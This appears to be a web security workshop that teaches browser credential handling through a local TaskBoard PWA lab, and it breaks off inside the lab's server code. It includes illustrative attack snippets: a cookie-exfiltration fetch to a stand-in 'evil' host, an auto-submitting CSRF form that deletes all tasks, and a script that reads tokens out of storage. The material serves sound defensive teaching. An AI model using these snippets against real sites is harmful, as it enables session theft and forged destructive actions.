A hands-on workshop. Build TaskBoard PWA seven times β each time a little harder to break.
localStorage, which by the end of Module 2 you will find funny).
The complete TaskBoard lab β client, server, service worker, and the local attacker origin used in Stage D. Every file on this page comes from this archive.
β¬οΈ Download the TaskBoard labThroughout this workshop we are building TaskBoard: a small installable task app. It has a frontend, an API, and β because it is a PWA β a service worker and an offline mode. Everything we do, we do to TaskBoard.
http://localhost:5173 β the TaskBoard frontend (React + Vite)http://localhost:4000 β the TaskBoard API (Express)http://127.0.0.1:5174 β an attacker's page, later on. Ours, local, harmless.Two words get used loosely and they are not the same thing. Getting them straight now will save you an hour later.
http://localhost:5173 and
http://localhost:4000 are different origins. This is what
localStorage, sessionStorage, and CORS care about.localhost:5173 and localhost:4000 are the same site.
This is what SameSite cookies care about.There are exactly two ways a credential gets onto an outgoing request, and they fail in opposite directions.
MECHANISM 1 β AMBIENT AUTHORITY (cookies)
------------------------------------------
Any page, anywhere, causes a request to api.taskboard.app
|
v
+----------------------+
| THE BROWSER | "Is there a cookie whose scope matches
| | this destination URL? Then attach it."
+----------------------+ It does NOT ask who started the request.
|
v Cookie: sid=... rides along automatically
api.taskboard.app
MECHANISM 2 β EXPLICIT ATTACHMENT (bearer tokens)
--------------------------------------------------
your JavaScript
|
| 1. read the token <-- so the token must be READABLE
v
localStorage / memory
|
| 2. set the header
v
fetch(url, { headers: { Authorization: 'Bearer ...' } })
|
v
api.taskboard.app
That is the trade. There is no option that avoids both problems, which is why the answer is never "pick the safe one" β it is "pick your problem, then defend against it deliberately".
// Mechanism 2 β explicit. YOUR code finds the token and attaches it.
// If your code can find it, so can any other script on the page.
const token = localStorage.getItem('taskboard_token');
await fetch('http://localhost:4000/api/tasks-bearer', {
headers: { Authorization: `Bearer ${token}` },
});
// Mechanism 1 β ambient. You attach nothing. You only give permission
// for the browser to include cookies on this cross-origin call.
await fetch('http://localhost:4000/api/tasks', {
credentials: 'include', // without this, cookies are NOT sent cross-origin
});
You are logged into TaskBoard. In another tab you open a page on
evil.example that contains this and nothing else:
<img src="http://localhost:4000/api/tasks/delete-all">
Two questions. (a) Does your TaskBoard session cookie get attached to that request? (b) Does your bearer token from localStorage get attached?
(b) is the easy one: no. Nothing reads localStorage unless some JavaScript reads it, and the attacker's JavaScript runs on their origin, where your localStorage does not exist. Storage is partitioned by origin, full stop.
(a) is the interesting one: "it depends, and the default saves you."
The browser sees a request to localhost:4000 and checks whether a cookie's
scope matches. It never asks who started it. Whether the cookie actually rides along
comes down to the SameSite attribute (Module 7): with the modern default of
Lax, an <img> is a subresource, not a top-level
navigation, so the cookie is not sent. Set SameSite=None and
it is.
Notice what just happened: a one-word cookie attribute decided whether an attacker could delete your data. That is why Module 7 exists.
Which property of a credential makes it stealable by XSS?
localStorage guarantees, what it does not, and why "it is
scoped to my origin" is a much weaker statement than it sounds.localStorage is a string-to-string dictionary that the browser keeps on disk,
one per origin. It survives tab closes, browser restarts, and reboots. It is capped around
5 MB. It is synchronous, which means every read blocks the main thread β a performance
footnote, not a security one.
The security-relevant facts are shorter than the feature list:
ORIGIN: http://localhost:5173
+-------------------------------------------------+
| localStorage |
| taskboard_token -> "fake-bearer-for-demo..." |
| |
| readable by: |
| [x] your App.tsx |
| [x] every npm dependency you ship |
| [x] that analytics snippet |
| [x] a browser extension with page access |
| [x] ANY injected script <-- this is the one |
+-------------------------------------------------+
^ ^
| |
Tab 1 (same origin) Tab 2 (same origin)
|
X http://localhost:4000 -- different ORIGIN,
different storage, no access
// DEMO ONLY β INSECURE. Stage A of the lab does exactly this so you can watch it fail.
async function stageALogin() {
const { token } = await loginForToken('demo@taskboard.test');
localStorage.setItem('taskboard_token', token);
}
// Every authenticated call now has to remember to attach it by hand.
const token = localStorage.getItem('taskboard_token');
await fetch(API + '/api/tasks-bearer', {
headers: { Authorization: `Bearer ${token}` },
});
You store the token on http://localhost:5173. Now, in the same browser, you
open http://localhost:4000 and run
localStorage.getItem('taskboard_token') in the console. Same host, same
browser, same machine. What comes back?
null. Storage is keyed on the full origin β scheme, host
and port. Port 5173 and port 4000 are separate storage areas that share nothing.
Now hold that next to what you learned in Module 1: those same two URLs are the same site for cookies. So a cookie can be shared between them while storage cannot. Two different scoping rules, in the same browser, at the same time. Keep them apart in your head and most of this topic stops being confusing.
The upgrade path is also worth noticing: http://localhost:5173 and
https://localhost:5173 are different origins too. Move to HTTPS and your
localStorage looks empty. That surprises people during their first production deploy.
None of this makes localStorage bad. It is the right tool for anything that is
not a credential: draft text, UI preferences, the last board you looked at, a cached list of
task titles for a fast first paint. The rule is simply: nothing that grants access.
Which of these can read a token in localStorage on https://app.example.com?
localStorage to
sessionStorage actually improves β and be equally precise that it does not touch
the XSS problem at all.Same API, same origin scoping, one difference: the storage area is per tab.
Open a second tab on the same origin and it gets its own empty sessionStorage.
Close the tab and the data is gone. Reload the tab and it survives.
One quirk that surprises people: duplicating a tab, or opening a link with
target="_blank" from your page, copies the sessionStorage into the new
tab. It is "per tab", not "per navigation".
localStorage sessionStorage
------------ --------------
Tab 1 ---+ Tab 1 ---> [ own copy ]
| Tab 2 ---> [ own copy, empty ]
Tab 2 ---+--> [ one shared ] Tab 3 ---> [ own copy, empty ]
| store
Tab 3 ---+ close tab ==> gone
reload tab ==> survives
survives restart dies with the tab
sessionStorage is read by JSON.parse-able JavaScript on your origin,
exactly like localStorage. An injected script does not care which one you chose:
it reads both in the same two lines. If XSS is your threat, this move buys you a shorter
window and nothing else.// The "fix" that isn't. One word changed.
sessionStorage.setItem('taskboard_token', token);
// The injected script, unbothered:
const stolen = {
localStorage: localStorage.getItem('taskboard_token'),
sessionStorage: sessionStorage.getItem('taskboard_token'),
};
TaskBoard is a PWA. A user has it installed and open, and also opens it in a normal
browser tab. They log in on the installed window. Do they appear logged in in the tab?
Answer for localStorage and for sessionStorage.
localStorage: yes β same origin, one shared store, both contexts see the token.
sessionStorage: no β the installed window and the tab are separate browsing contexts, so each has its own store. The user logs in once and finds themselves logged out in the other place.
This is a real product decision hiding inside a storage choice. "Log in once, be
logged in everywhere in this browser" is a feature request, and sessionStorage answers
it with "no". Which is precisely why teams drift back to localStorage β and
then to cookies, which give you cross-tab behaviour and take the credential out
of JavaScript's reach entirely. That is Module 5.
Moving a token from localStorage to sessionStorage primarily reduces:
A cookie is a small name/value pair the server hands to the browser with a
Set-Cookie response header. From then on, the browser attaches it to matching
requests automatically, in a Cookie request header. You write no code to make
that happen. That is the entire feature, and the entire problem.
Domain=example.com and it is sent to every subdomain too. There is no
way to say "this host only" other than omitting Domain.Path=/api means it is only attached to URLs under
/api. A cheap way to narrow scope, and mostly under-used.localhost:4000 is sent
to localhost:5173 and to every other port on localhost.http page can generally
overwrite a cookie the https site set, unless you use the
__Host- prefix. More on that in Module 6.localStorage never would. LOGIN
browser ---- POST /auth/login-session ----> api
browser <--- Set-Cookie: sid=aX9... --- api
(browser stores it in the cookie jar)
EVERY LATER REQUEST TO A MATCHING URL
browser ---- GET /api/tasks -------------> api
Cookie: sid=aX9...
^
+-- attached by the BROWSER, automatically,
because the DESTINATION matches the scope.
The browser did not ask which page
started this request. Nobody's code
"remembered" to attach anything.
app.post('/auth/login-session', (req, res) => {
const user = String(req.body?.user ?? 'demo@taskboard.test');
const session = rotateSession(req.cookies?.sid, user); // new id on every login
res.cookie('sid', session.id, {
httpOnly: true, // Module 5
secure: true, // Module 6 (in the lab this follows the SameSite switch)
sameSite: 'lax', // Module 7
path: '/', // narrow to '/api' if that is all that needs it
maxAge: 15 * 60 * 1000 // short. See Module 13.
});
res.json({ user: session.user });
});
And on the browser side, the single line people forget:
// Cookies are NOT sent on a cross-origin fetch unless you ask for it.
await fetch('http://localhost:4000/api/tasks', { credentials: 'include' });
Your Express app calls res.cookie('sid', ...) and you can see
Set-Cookie in the response headers in DevTools. But the very next request from
your React app arrives at the server with no cookie at all. The frontend is on
localhost:5173, the API on localhost:4000. Name the two most likely
causes.
1. The fetch is missing credentials: 'include'. This is
the number one cause. Cross-origin requests do not carry cookies by default, and
the request looks completely normal in the Network tab β there is simply no
Cookie header. Note that this is an origin rule, so different ports
count.
2. The server is missing cors({ credentials: true }), or is
answering with Access-Control-Allow-Origin: *. A wildcard is not
allowed together with credentials β the browser will refuse to hand the response over,
and will refuse to store the cookie. You must echo the exact origin.
There is a third, sneakier one worth knowing: Secure: true on
http://. The browser silently drops the cookie. localhost is
treated as a secure context so it usually works there β which means this failure often
appears for the first time on a staging box served over plain HTTP.
credentials: 'include' on the client and a matching, non-wildcard CORS
config on the server.A cookie is set by https://app.example.com with no Domain attribute. Where is it sent?
HttpOnly prevents β and be able to state, precisely, the large
class of attacks it does not prevent.One attribute on Set-Cookie. It tells the browser: this cookie is for HTTP
requests only. Do not expose it to the page's JavaScript. With it set,
document.cookie simply does not contain that cookie β no error, no warning, it is
just not there. Your own code cannot read it either. That is the point.
WITHOUT HttpOnly WITH HttpOnly
---------------- -------------
document.cookie document.cookie
-> "sid=aX9dK2..." -> "" (invisible)
injected script: injected script:
fetch('https://evil/?c=' fetch('https://evil/?c='
+ document.cookie) *STOLEN* + document.cookie) -> sends nothing
BUT, in both cases:
fetch('/api/tasks/delete-all', { credentials: 'include' })
-> browser attaches the cookie -> request SUCCEEDS
The script never needed to see the cookie to use it.
It closes exfiltration. An injected script cannot copy your session id and send it to a server the attacker controls. That matters enormously, because an exfiltrated session is an attacker who keeps your access after the user closes the tab, from their own machine, at their leisure β potentially for as long as the session lives.
HttpOnly stops JavaScript from reading the cookie. It does not stop
JavaScript from making authenticated requests. Injected code running on your origin
can call your API all day long, and the browser will attach the cookie to every call, because
that is the browser's job.So an XSS on a site with a perfect HttpOnly cookie can still: read every task,
create tasks, delete the board, change the email address on the account, and start a password
reset. It just has to do it from the victim's browser, while the tab is open, rather
than at its own convenience. That is a genuine and useful downgrade in attacker capability.
It is not a fix for XSS.
/**
* DEMO ONLY β INSECURE.
* Stands in for injected code. Note it never touches document.cookie.
*/
async function simulateXssRidingTheSession() {
const r = await apiGet('/api/tasks'); // credentials: 'include'
log('Injected script rode the HttpOnly session: ' + r.status);
}
In Stage C of the lab you will click two buttons in order. First "Run injected
script" (which prints document.cookie), then "Injected script rides the
session" (which does the fetch above). Predict both outputs.
First button: document.cookie is an empty string. The
session cookie is there in DevTools with the HttpOnly box ticked, and the page's own
JavaScript cannot see it.
Second button: 200 OK with the full task list. The cookie
was attached by the browser. The script got the data without ever seeing the credential.
Those two results, one after the other, are the most useful thing in this workshop.
HttpOnly is doing real work β and the second button shows precisely where
that work stops. The defence for the second button is not a cookie attribute; it is CSP
and not having XSS in the first place (Module 8 and Module 13).
HttpOnly makes the cookie invisible to JavaScript, which blocks theft and
persistence. It does not block use. Assume an XSS can do anything a logged-in user can do,
right now, in that tab.HttpOnly changes almost
nothing about it.With an HttpOnly session cookie, an injected script on your origin can still:
Secure correctly, know why it behaves oddly on localhost, and be able to
narrow a cookie's blast radius with Path, Domain and the
__Host- prefix.Secure tells the browser: only ever send this cookie over HTTPS. Without it, a
single plain-HTTP request to your domain β a stray http:// link, an image, a
redirect that has not been cleaned up β puts the session id on the wire in clear text, where
anyone on the network path can take it.
http://localhost and 127.0.0.1 as
potentially trustworthy origins β a deliberate carve-out so local development is not
miserable. So Secure cookies generally work on localhost over plain HTTP.
http://staging.internal and every Secure cookie is
silently dropped, and the app appears to log you out instantly with no error anywhere. If you
see that, this is the first thing to check.| Attribute | Effect | Use it when |
|---|---|---|
Path=/api | Only attached to URLs under /api | Your session is only ever needed by the API. Free reduction in exposure. |
No Domain | Host-only. Not sent to subdomains. | Almost always. This is the safe default. |
Domain=example.com | Sent to every subdomain | Only when you genuinely need cross-subdomain sessions β and accept that any XSS on any subdomain now reaches this cookie. |
__Host-sid | Browser enforces: Secure, Path=/, and no Domain | When you want the browser to refuse to let a weaker cookie overwrite yours. |
The __Host- prefix is worth a second look because it is free. Naming the cookie
__Host-sid makes the browser reject any Set-Cookie for that
name that is not Secure, not Path=/, or that carries a Domain. That
closes cookie-fixation tricks where an attacker who controls
http://sub.example.com overwrites the cookie your HTTPS app relies on.
res.cookie('__Host-sid', session.id, {
httpOnly: true,
secure: true, // required by the __Host- prefix
sameSite: 'lax',
path: '/', // required by the __Host- prefix
// no domain // required by the __Host- prefix
maxAge: 15 * 60 * 1000,
});
TaskBoard sets its session cookie with Domain=taskboard.app so that
app.taskboard.app and admin.taskboard.app share a login. Marketing
asks for a customer blog at blog.taskboard.app on a hosted CMS. What have you
just agreed to?
You have agreed that the CMS vendor's origin is now inside your session's blast radius.
The cookie is sent to blog.taskboard.app on every request. HttpOnly
still stops the blog's JavaScript from reading it β but the blog is same-site
with your app, so SameSite gives you nothing there, and any XSS on that blog
(a comment widget, a marketing tag, a stale plugin) can make authenticated requests to
your API as your logged-in users.
The fix is boring and effective: drop the Domain attribute, keep the cookie
host-only, and give the blog a different registrable domain entirely, or a path-scoped
cookie of its own. Subdomains are a trust boundary you do not actually control.
Secure in production. Prefer host-only cookies β omit Domain.
Narrow Path where you can. Use __Host- to make the browser enforce
all of it for you.Why prefer a host-only cookie (no Domain) for sessions?
Lax is the sensible baseline and still not a
complete CSRF defence.SameSite is the browser asking a question it never used to ask: which site
started this request? If the answer is "a different site", the cookie may be withheld.
This one attribute is the single biggest structural reduction in CSRF risk in the last decade.
| Value | Cookie sent when⦠| Cost |
|---|---|---|
Strict | Only on same-site requests. Never on anything initiated by another site β including a plain link the user clicked. | A user following a link from their email lands logged out. Then they reload and they are logged in, which looks like a bug. |
Lax | Same-site requests, plus top-level navigations that use a safe method (clicking a link, a GET form). | Almost none. This is the modern default when you omit the attribute. |
None | Always, including inside third-party iframes and cross-site POSTs. Requires Secure. | You have opted back in to classic CSRF. Only use it if you genuinely need third-party context. |
Attacker page on evil.example triggers... Strict Lax None ------------------------------------------- ------ ----- ------ <img src="api/delete"> (subresource) no no YES fetch(..., credentials:'include') no no YES <form method="POST"> auto-submitted no no YES <a href="app.com/tasks"> user clicks no YES YES <form method="GET"> top-level navigation no YES YES Remember: "site" ignores the port. localhost:5173 -> localhost:4000 is SAME-SITE. SameSite does nothing there.
Three reasons, and you need all three to justify the extra layers in Stage E:
Lax will not
stop it. That is a strong argument for never mutating state on GET.Lax perimeter. The compromised marketing blog from Module 6 is,
as far as SameSite is concerned, you.SameSite=None requires Secure, which requires HTTPS β except on the
localhost carve-out. The lab uses COOKIE_SAMESITE=none for Stage D so you can
watch a CSRF succeed, then flips to lax in Stage E so you can watch the same
attack fail. In production you would never ship None for a session cookie unless
you are deliberately supporting a third-party embed.Your session cookie is SameSite=Lax. An attacker's page contains an
auto-submitting <form method="GET" action="https://api.taskboard.app/tasks/archive-all">
that navigates the top-level window. Is the cookie attached, and does the attack work?
Yes, the cookie is attached. This is a top-level navigation with a safe
method, which is exactly the case Lax permits β that carve-out exists so that
following a link from your email keeps you logged in.
So whether the attack works is entirely down to your server. If
GET /tasks/archive-all changes state, you have just been CSRF'd through a
correctly configured Lax cookie. If it does not β because GET is safe in your
API, as HTTP has always intended β nothing happens.
The victim also sees your site load in their window, which makes this loud. Attackers prefer the silent version, which is why the classic payload is a POST form. But "loud" is not "prevented".
The rule this gives you: never mutate state on GET. It is not pedantry about REST; it is a load-bearing part of your CSRF defence.
Lax is the baseline and the modern default: it blocks cross-site subresources,
fetches and POSTs, while permitting top-level safe navigations. Strict is for
high-value cookies where the link-from-email cost is acceptable. None means you
have re-enabled CSRF on purpose and must defend it explicitly.Lax does not cover same-site attackers, GET-mutations, or browsers you
have not met. Layer it.Under SameSite=Lax, which cross-site request DOES carry the cookie?
XSS (Cross-Site Scripting) means an attacker gets JavaScript of their choosing to execute on your origin. Once that happens, their code has exactly the privileges your code has. Not similar privileges β the same ones. The browser cannot tell the difference, because from its point of view there is no difference.
React escapes interpolated text by default, which removes the classic sink. It does not remove these:
dangerouslySetInnerHTML with anything user-influenced. The name is a fair
warning and it is still used to render rich text.href built from user input β javascript: URLs still run.<script> block. ONCE A SCRIPT RUNS ON YOUR ORIGIN, IT HAS:
+---------------------------------------------------------+
| localStorage -> read, write |
| sessionStorage -> read, write |
| IndexedDB -> read, write |
| document.cookie -> read (unless HttpOnly) |
| Cache Storage -> read (yes, the service worker's) |
| your app's memory -> read (patch fetch, read state) |
| your session -> USE (cookies attach themselves) |
+---------------------------------------------------------+
The only line HttpOnly removes is the fourth one.
dangerouslySetInnerHTML, sanitise rich text with a real library, pin and audit
dependencies.HttpOnly
cookies. Blocks theft, not use.A colleague proposes: "Keep the access token in a plain JavaScript variable β never in localStorage β and hold it in a React context. XSS can't read a closure variable." Is this an improvement, and if so, how much?
A small, real improvement β and much smaller than it feels.
What genuinely improves: the token no longer persists to disk, so it dies on reload, and a smash-and-grab script that reads the two storage APIs and leaves finds nothing. Against opportunistic, generic payloads that is worth something.
What does not improve: an attacker running on your origin does not need to
find the variable. They can monkey-patch window.fetch and read the
Authorization header off every outgoing request, or wrap
XMLHttpRequest, or simply call your own exported API helper. Injected code
runs before or alongside yours and can rewrite the environment your code depends on.
So: memory-only is a reasonable hardening step, not a security boundary. If you find
yourself relying on it, that is the signal to move to an HttpOnly cookie
session or a BFF, where the boundary is enforced by something other than the attacker's
politeness.
HttpOnly. The real defences are prevention,
CSP, moving credentials out of the browser, and limiting what a compromised session is worth.Which is the strongest structural defence against a stolen upstream API token?
CSRF (Cross-Site Request Forgery) is an attacker's page causing your browser to send a request to your API, which arrives fully authenticated because the browser attached your cookie automatically. The attacker never sees the response and never sees your cookie. They do not need to. They only need the action to happen.
1. You log in to TaskBoard. Cookie sid=aX9 is in the jar.
2. Later, in another tab, you open evil.example (an ad, a forum
post, a phishing link). Its HTML contains:
<form action="https://api.taskboard.app/tasks/delete-all"
method="POST"></form>
<script>document.forms[0].submit()</script>
3. evil.example api.taskboard.app
| |
| POST /tasks/delete-all |
| Cookie: sid=aX9 <-------- browser attached it
|---------------------------->|
| | "valid session,
| response (attacker | delete everything"
| CANNOT read it) X |
|<----------------------------|
The attacker is blind the entire time. Your data is still gone.
| XSS | CSRF | |
|---|---|---|
| Where the attacker's code runs | On your origin | On their origin |
| What it abuses | Your trust in the code on your page | The browser's automatic credential attachment |
| Can it read responses? | Yes β everything | No β CORS blocks it |
| Can it read your storage? | Yes | No |
| Goal | Anything. It is full control. | Cause one specific side effect |
Does HttpOnly help? | Partly β blocks theft, not use | No. HttpOnly cookies are attached exactly the same. |
| Does a CSRF token help? | No β XSS just reads the token | Yes |
An endpoint is CSRF-exposed if all of these are true:
application/x-www-form-urlencoded, a GET navigation, an image, an iframe.Point 3 is the lever. A JSON-only endpoint that requires
Content-Type: application/json cannot be hit by a plain HTML form, because forms
can only send three content types, none of which is JSON. That is real protection β but it
depends on your framework actually rejecting other content types, and Express with
express.urlencoded() mounted will happily accept the form. Verify it; do not
assume it.
TaskBoard's API is JSON-only and lives at api.taskboard.app; the app is at
app.taskboard.app. The session cookie is SameSite=Lax. A developer
argues: "Cross-site fetch is blocked by CORS, and an HTML form can't send JSON. We have no
CSRF exposure. Skip the tokens." Where is the hole?
The argument is mostly right, which is what makes it dangerous. Four holes:
1. The Content-Type claim must be enforced, not assumed. If any
middleware parses urlencoded or text/plain bodies β mounted globally, years ago, for one
legacy endpoint β a form POST is back on the table. Our own lab server mounts
express.urlencoded() for exactly this demonstration.
2. Lax permits top-level GET navigation. One
state-changing GET anywhere in the API and the defence is bypassed.
3. Same-site is not same-origin. Both hosts are under
taskboard.app, so every subdomain β including any the marketing team spins
up β is inside the Lax perimeter.
4. "CORS blocks it" is the wrong mental model, and it is the subject of the next module. CORS stops the attacker reading the response. For a simple request it does not stop the request from being sent and processed.
Verdict: for reading a task list, this reasoning is a fine risk decision. For
delete-all, it is three assumptions deep and none of them is verified by
anything the server can see. Sensitive actions get an explicit check.
Which authentication scheme is inherently NOT exposed to CSRF?
CORS (Cross-Origin Resource Sharing) is a browser mechanism that decides whether page JavaScript on origin A is allowed to read a response from origin B. It is a relaxation of the same-origin policy β a way for a server to say "these origins may read my responses". It is about reading.
SIMPLE REQUEST (form POST, urlencoded) -- NO preflight
evil.example --------- POST /tasks/delete-all -------> your API
Cookie attached |
SERVER RUNS IT
browser withholds the response from the attacker <-------+
^
|
This is the part CORS controlled. The deletion
already happened. CORS was never in that path.
NON-SIMPLE REQUEST (JSON body, or a custom header) -- PREFLIGHT
evil.example --- OPTIONS /tasks/delete-all ---------> your API
<-- 403 / no Access-Control-Allow-Origin ---
X browser never sends the real request
THIS is where CORS genuinely prevents the action.
The browser sends a preflight OPTIONS request first, unless the request is
"simple". A request is simple when the method is GET, HEAD or
POST, it carries no custom headers, and the Content-Type is one of
exactly three values:
application/x-www-form-urlencodedmultipart/form-datatext/plainNotice what is missing: application/json. And notice that those three are
exactly what an HTML <form> can produce. That is not a coincidence β the
simple-request rules exist to preserve behaviour that predates CORS.
X-CSRF-Token) or a JSON content type forces a
preflight. Your server refuses the preflight for unknown origins, and the real request is
never sent. That is a genuine CSRF defence β but the thing doing the work is
"this request is not simple", and it collapses the moment your server also
accepts urlencoded bodies. It is a side effect you should make explicit with a token check,
not lean on silently.app.use(cors({
origin: ['http://localhost:5173'], // never '*' with credentials β browsers refuse it
credentials: true,
allowedHeaders: ['Content-Type', 'X-CSRF-Token'],
}));
// Not in that list: http://127.0.0.1:5174, our attacker origin.
In Stage D you will click the attacker page's "Try it with fetch()" button. The browser console will show a CORS error. Your teammate concludes the request was blocked. What will the server log show, and what should you check to answer the question properly?
It depends on whether that particular request was simple, and the server log is the only place that answers it honestly.
The fetch in the lab's attacker page sends a JSON content type and a custom
X-CSRF-Token header, so it is not simple. The browser sends an
OPTIONS preflight, our CORS config does not allow
127.0.0.1:5174, and the real POST is never sent. Server log: an
OPTIONS and nothing else. Here, the CORS error genuinely means "blocked".
Now change that same fetch to a urlencoded body with no custom header. It becomes simple. The POST is sent, your handler does run, the deletion does happen, and the browser then refuses to give the attacker the response β logging the same reassuring red CORS error.
The habit to build: a CORS error in the console tells you what the attacker could not read. Only the server log tells you what your server did. That is why the lab's logger prints every arriving request.
Access-Control-Allow-Origin: * with credentials β browsers
reject the combination anyway.A cross-site POST with Content-Type: application/x-www-form-urlencoded and no custom headers:
The server stores the session; the browser holds an opaque random id in a cookie. The id means nothing on its own β every request is a database or Redis lookup. Because the state is server-side, you can revoke instantly: delete the row, and the next request is unauthenticated.
A signed, self-describing token. The server verifies the signature and reads the claims β no lookup needed, which is why it scales across services beautifully. The cost is the mirror image: it is valid until it expires, and you cannot take it back. Revocation means either a blocklist (which reintroduces the lookup you were avoiding) or keeping the lifetime so short that expiry does the work for you.
A long-lived credential whose only job is to obtain new short-lived access tokens. It is
the most valuable secret in the system and the one most often mishandled β a refresh token in
localStorage is a persistent account takeover waiting for one XSS.
Refresh tokens belong in an HttpOnly, Secure,
path-scoped cookie, or on a server. Rotate on every use and detect reuse: if an old
refresh token is presented again, assume theft and kill the whole family.
SERVER SESSION ACCESS + REFRESH TOKENS
-------------- -----------------------
browser: opaque id (cookie) browser: access token (short, minutes)
server : the actual state refresh token (long, days)
server : signing key only
revoke: DELETE the row ---------> instant
revoke: a JWT ------------------> not possible before expiry
(short expiry IS the mitigation)
scale : a lookup per request scale : signature check, no lookup
fits : one app, one backend fits : many services, many clients
| Question | If yes |
|---|---|
| Do you need to log someone out immediately β a fired employee, a stolen laptop? | Server sessions, or JWTs with a blocklist. Accept the lookup. |
| Is it one web frontend talking to one backend you own? | Server sessions. Simpler, revocable, and a cookie carries the id for free. |
| Are there mobile or third-party clients where cookies are awkward? | Tokens β but keep the refresh token out of any browser storage. |
| Do many independent services need to verify identity without calling you? | Access tokens. This is what they are for. |
| Is it a browser app and you are debating storage for the token? | That debate is the signal to use a cookie session or a BFF. The storage question has no good answer. |
HttpOnly cookie
session β and if you must consume a third-party API, a BFF holds that token instead of the
browser.TaskBoard uses 30-minute JWTs, no refresh, no blocklist. A user reports their laptop was
stolen 5 minutes ago. Support clicks "Log out all devices", which deletes the row in the
sessions table. What actually happens on the stolen laptop?
Nothing, for up to 25 more minutes. The API validates the JWT by checking its signature and expiry. It never consults the sessions table, so deleting a row there changes nothing. The thief keeps full access until the token expires on its own.
The support tool showed a success message. That is the worst part: the organisation believes the account is secured, and it is not.
Three ways out, in increasing order of honesty: shorten the lifetime so the window is small; add a revocation check on sensitive routes (accepting the lookup you were trying to avoid); or use server-side sessions where revocation is real. Pick deliberately β and make sure the button in your support tool does not claim more than the architecture delivers.
HttpOnly
cookie or on a server, rotated on every use. For a single-frontend PWA, sessions win on
simplicity and on revocation.The main security advantage of server-side sessions over stateless JWTs is:
A BFF is a small backend that exists for exactly one frontend. The browser
talks only to the BFF, using a plain HttpOnly cookie session. The BFF holds every
upstream credential β OAuth tokens, third-party API keys, service accounts β and calls those
APIs on the browser's behalf.
The browser's credential becomes a session id for your app and nothing else. The valuable secrets never cross the network boundary into a place JavaScript can reach.
WITHOUT A BFF
browser --[ upstream API token in JS ]--> third-party API
^
+-- one XSS and the token is exfiltrated. The attacker uses it
from their own machine, for as long as it lives, with no
session, no cookie, and nothing you can revoke quickly.
WITH A BFF
browser --[ HttpOnly session cookie ]--> BFF --[ token ]--> third-party API
^ ^
| +-- token lives here only:
| server memory, env, or a vault
+-- XSS can still ACT through the session, but there is no
token in the browser to steal. Revoke the session and it stops.
app.get('/bff/tasks', async (req, res) => {
const session = getSession(req.cookies?.sid); // browser proves who it is
if (!session) return res.status(401).json({ error: 'no_session' });
const upstream = await fetch('http://localhost:4001/v1/tasks', {
headers: { Authorization: `Bearer ${UPSTREAM_TOKEN}` }, // never leaves the server
});
const data = await upstream.json();
// A BFF is allowed to be opinionated: return the shape THIS frontend wants.
res.json({ mode: 'bff', user: session.user, tasks: data.tasks });
});
/bff/proxy?url=... hands the
attacker your credentials and your network position. Expose named operations only.TaskBoard adopts a BFF. During a code review someone adds
GET /bff/upstream-token so the frontend can "call the API directly for
performance". What has been given up, and is there any version of this that is acceptable?
All of it. The single property a BFF provides is that the upstream token never enters the browser. One endpoint that hands it over restores the original threat model exactly, while leaving the extra infrastructure in place β the worst of both.
It is also worse than never having had a BFF, because the team now believes they are protected by an architecture they have quietly disabled.
Is there an acceptable version? Yes, and it is worth knowing because someone will ask for it: issue a separate, narrowly-scoped, short-lived credential minted for that one purpose β a signed URL for a single upload, a token scoped to one resource for five minutes. What you never do is hand over the BFF's own broad credential. "Scoped and short-lived" is a different object from "the token", even if it looks similar in a header.
A BFF's core security property is:
mkdir -p taskboard-lab && cd taskboard-lab
mkdir -p server/src client/src client/public evil
# server deps β four, plus types
cd server
npm init -y
npm pkg set type=module
npm i express cookie-parser cors
npm i -D typescript tsx @types/node @types/express @types/cookie-parser @types/cors
# client
cd ../client
npm create vite@latest . -- --template react-ts
npm i
# nothing to install for the attacker page β it uses node:http
cd ..
Or just download the archive at the bottom of this page and run
npm install in server/ and client/.
taskboard-lab/
βββ README.md
βββ server/
β βββ package.json
β βββ tsconfig.json
β βββ src/
β βββ index.ts all stages, switched by env vars
β βββ log.ts the observability that makes this workshop work
β βββ sessions.ts server-side session store
β βββ csrf.ts the four defence layers
β βββ upstream.ts fake third-party API for the BFF stage
βββ client/
β βββ package.json
β βββ vite.config.ts
β βββ tsconfig.json
β βββ index.html
β βββ public/
β β βββ sw.js service worker (Stage G)
β βββ src/
β βββ main.tsx
β βββ App.tsx the stage switcher UI
β βββ api.ts fetch helpers
β βββ registerSw.ts registration + logout purge
βββ evil/
βββ server.mjs static server bound to 127.0.0.1
βββ index.html the attacker page (Stage D)
| What | URL | Why this URL |
|---|---|---|
| Frontend | http://localhost:5173 | The real app |
| API | http://localhost:4000 | Different origin, same site β so you see CORS behaviour without SameSite interfering |
| Upstream API | http://localhost:4001 | Stands in for a third-party API (Stage F) |
| Attacker page | http://127.0.0.1:5174 | Genuinely cross-site β see the box below |
localhost:5174 and localhost:4000 are the same site β ports
are ignored β so a "CSRF demo" served from localhost would sail past
SameSite=Lax and teach you the opposite of the truth.
127.0.0.1 is an IP literal, which counts as a different site from the
registrable domain localhost. That gives us a real cross-site request with no
/etc/hosts editing and nothing pointed at anyone else's server.The whole lab, in the order it makes sense to read. This is the same code that is in the download.
{
"name": "taskboard-lab-server",
"private": true,
"type": "module",
"scripts": {
"dev": "tsx watch src/index.ts",
"upstream": "tsx src/upstream.ts"
},
"dependencies": {
"cookie-parser": "^1.4.7",
"cors": "^2.8.5",
"express": "^4.21.2"
},
"devDependencies": {
"@types/cookie-parser": "^1.4.8",
"@types/cors": "^2.8.17",
"@types/express": "^4.17.21",
"@types/node": "^22.10.0",
"tsx": "^4.19.2",
"typescript": "^5.7.2"
}
}
{
"compilerOptions": {
"target": "ES2022",
"module": "ESNext",
"moduleResolution": "bundler",
"strict": true,
"esModuleInterop": true,
"skipLibCheck": true,
"types": ["node"]
},
"include": ["src"]
}
import type { Request, Response, NextFunction } from 'express';
/**
* The lab's most important file.
*
* Prints exactly what arrived at the backend, so every "why wasn't my cookie sent?"
* question has a factual answer instead of a guess.
*
* SECURITY NOTE: we log cookie NAMES and header PRESENCE, never values.
* Logging a session id or a CSRF token turns your log file into a credential store.
*/
export function requestLogger(req: Request, _res: Response, next: NextFunction) {
const cookieNames = Object.keys(req.cookies ?? {});
const line = [
'',
'--------------------------------------------------------------',
`${req.method} ${req.originalUrl}`,
` Origin : ${req.headers.origin ?? '(none)'}`,
` Referer : ${req.headers.referer ?? '(none)'}`,
` Sec-Fetch-Site : ${req.headers['sec-fetch-site'] ?? '(none)'}`,
` Sec-Fetch-Mode : ${req.headers['sec-fetch-mode'] ?? '(none)'}`,
` Sec-Fetch-Dest : ${req.headers['sec-fetch-dest'] ?? '(none)'}`,
